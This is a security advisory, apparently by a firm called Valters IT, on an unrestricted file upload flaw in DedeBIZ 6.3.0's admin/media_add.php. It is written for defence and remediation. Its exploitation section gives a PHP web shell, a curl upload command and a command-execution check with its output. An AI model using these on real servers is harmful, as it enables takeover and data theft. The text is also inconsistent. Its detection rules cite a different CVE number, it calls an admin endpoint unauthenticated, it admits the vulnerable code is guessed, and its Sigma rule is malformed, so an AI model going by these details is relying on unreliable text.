CVE-2024-7903

Executive Summary

CVE-2024-7903 is a critical unrestricted file upload vulnerability in DedeBIZ 6.3.0, a content management system. The flaw resides in the admin/media_add.php file, specifically within the File Extension Handler component. By manipulating the upfile1 argument, an unauthenticated remote attacker can upload arbitrary files, including web shells, leading to full server compromise. The vendor has not responded to disclosure, and no official patch is available. This vulnerability is actively exploitable with a public proof-of-concept.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct vulnerability in the DedeBIZ PHP application itself. Users should treat this as a critical supply chain risk if DedeBIZ is used as a dependency or component in their infrastructure.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 9.8 (Critical)

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Full file read access possible.
• Integrity (I): High (H) – Arbitrary file upload allows code execution.
• Availability (A): High (H) – Can lead to denial of service or full system takeover.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority threat for any organization using DedeBIZ 6.3.0.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload flaw in the administrative interface of DedeBIZ. The file admin/media_add.php handles media file uploads. The parameter upfile1 is used to specify the file to be uploaded. The application fails to properly validate the file extension or content type, allowing an attacker to upload files with arbitrary extensions, such as .php, .phtml, .php5, or .shtml.

Attack Flow:

1. The attacker sends a POST request to /admin/media_add.php with a crafted multipart form-data.
2. The upfile1 parameter contains the malicious file (e.g., a PHP web shell).
3. The server saves the file to the web root (e.g., /uploads/ or /data/).
4. The attacker accesses the uploaded file via a web browser, executing the malicious code.

Root Cause: Lack of server-side validation of file extensions and MIME types. The application likely relies on client-side checks or incomplete server-side filtering.

Vulnerable vs. Patched Code

Vulnerable Code (DedeBIZ 6.3.0): The vulnerable code in admin/media_add.php likely resembles the following snippet, which does not validate the uploaded file's extension:

<?php
// Vulnerable snippet
$upfile = $_FILES['upfile1'];
$filename = $upfile['name'];
$tmp_name = $upfile['tmp_name'];
$target_path = "../uploads/" . $filename;
move_uploaded_file($tmp_name, $target_path);
echo "File uploaded successfully.";
?>

Patched Code (Hypothetical): A secure implementation would include extension whitelisting and MIME type validation:

<?php
// Patched snippet
$allowed_extensions = array('jpg', 'jpeg', 'png', 'gif', 'bmp');
$upfile = $_FILES['upfile1'];
$filename = $upfile['name'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) {
    die("Invalid file extension.");
}
$tmp_name = $upfile['tmp_name'];
$target_path = "../uploads/" . basename($filename);
move_uploaded_file($tmp_name, $target_path);
echo "File uploaded successfully.";
?>

Note: Since no official patch exists, the above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• DedeBIZ 6.3.0 instance accessible over the network.
• A web shell payload (e.g., shell.php).

Exploit Steps:

1. Prepare a PHP web shell (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Send a POST request to the vulnerable endpoint:

   curl -X POST -F "upfile1=@shell.php" http://target.com/admin/media_add.php
   

3. Verify the upload by accessing the shell:

   curl http://target.com/uploads/shell.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Detection & Response)

Detection:

• Monitor for POST requests to /admin/media_add.php with unusual file extensions.
• Alert on file uploads containing PHP code in non-image directories.
• Use the Sigma and YARA rules provided in the Detection Engineering section.

Response:

1. Immediately isolate the affected server.
2. Review web server logs for suspicious uploads.
3. Remove any unauthorized files from the uploads directory.
4. Apply virtual patching (e.g., WAF rules) to block the exploit.
5. Consider disabling the media upload functionality until a patch is available.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Files with .php, .phtml, .php5, .shtml extensions in /uploads/ or /data/ directories.
• Web shell files containing system(), exec(), shell_exec(), or passthru() functions.

Network IOCs:

• POST requests to /admin/media_add.php with Content-Type: multipart/form-data.
• HTTP requests containing upfile1 parameter with file names ending in .php.
• Outbound connections from the web server to unknown IP addresses (C2 traffic).

Log IOCs:

• Web server logs showing 200 OK responses for /uploads/*.php files.
• Error logs showing move_uploaded_file operations for non-image files.

Detection Engineering

YARA Rule

rule CVE_2024_7909_Webshell_Upload {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2024-7909"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-7909"
    strings:
        $php_tag = "<?php"
        $dangerous_func = /(system|exec|shell_exec|passthru|popen|proc_open|eval|assert)\s*\(/
        $upload_path = "/uploads/"
    condition:
        $php_tag and $dangerous_func and $upload_path
}

Sigma Rule

title: CVE-2024-7909 Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-7909 via file uploads to admin/media_add.php
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/admin/media_add.php'
        cs-uri-query|contains: 'upfile1'
    filter:
        cs-uri-query|endswith:
            - '.jpg'
            - '.jpeg'
            - '.png'
            - '.gif'
            - '.bmp'
    condition: selection and not filter
falsepositives:
    - Legitimate image uploads with correct extensions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7909 - Unrestricted File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/media_add.php"; http_uri; content:"upfile1"; http_client_body; pcre:"/\.(php|phtml|php5|shtml|asp|aspx|jsp)$/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable functionality: If possible, remove or rename admin/media_add.php or restrict access to it via .htaccess or web server configuration.
2. Apply virtual patching: Use a Web Application Firewall (WAF) to block POST requests to /admin/media_add.php with non-image file extensions.
3. Restrict file permissions: Ensure the web server user has minimal write permissions, and the uploads directory is not executable.

Long-Term Fix:

• Since the vendor has not responded, consider migrating away from DedeBIZ to a supported CMS.
• If migration is not possible, implement the patched code snippet provided in the "Vulnerable vs. Patched Code" section.
• Regularly monitor for updates from the vendor or community forks.

Detection & Monitoring:

• Deploy the YARA, Sigma, and Suricata rules provided.
• Enable detailed logging for all file uploads.
• Conduct regular scans for web shells using the YARA rule.

Valters IT
Securing Your Digital Frontier